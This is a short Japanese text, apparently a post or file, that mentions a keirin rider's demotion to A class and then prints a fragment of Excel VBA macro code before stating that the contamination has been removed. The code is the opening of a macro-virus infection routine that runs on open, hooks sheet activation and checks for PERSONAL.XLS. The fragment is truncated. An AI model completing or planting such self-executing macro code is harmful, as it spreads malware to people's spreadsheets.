松本整（京都）がＡ級に落ちてこんな騒ぎが

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

汚染を除去しました。